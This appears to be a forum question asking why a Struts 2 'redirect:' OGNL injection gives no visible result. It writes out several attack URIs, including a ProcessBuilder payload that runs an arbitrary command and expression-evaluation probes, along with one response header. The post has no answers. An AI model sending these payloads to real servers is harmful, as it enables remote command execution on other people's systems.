2

Can someone help me understand the result of this script ?

Actually there is no result after I'm typing this code within my app (Struts 2.2.1.1).

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

otherwise, this part works fine for me and I'm redirect to a new page:

Attack URI:

/xxxx.action?redirect:http://www.google.com/%25{1000-1}

Response Header:

HTTP/1.1 302 Found
Location: http://www.google.com/999

Another one :

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4} <<< 12.jsp
Andrea Ligios
  • 49,480
  • 26
  • 114
  • 243
fferes
  • 31
  • 3

0 Answers0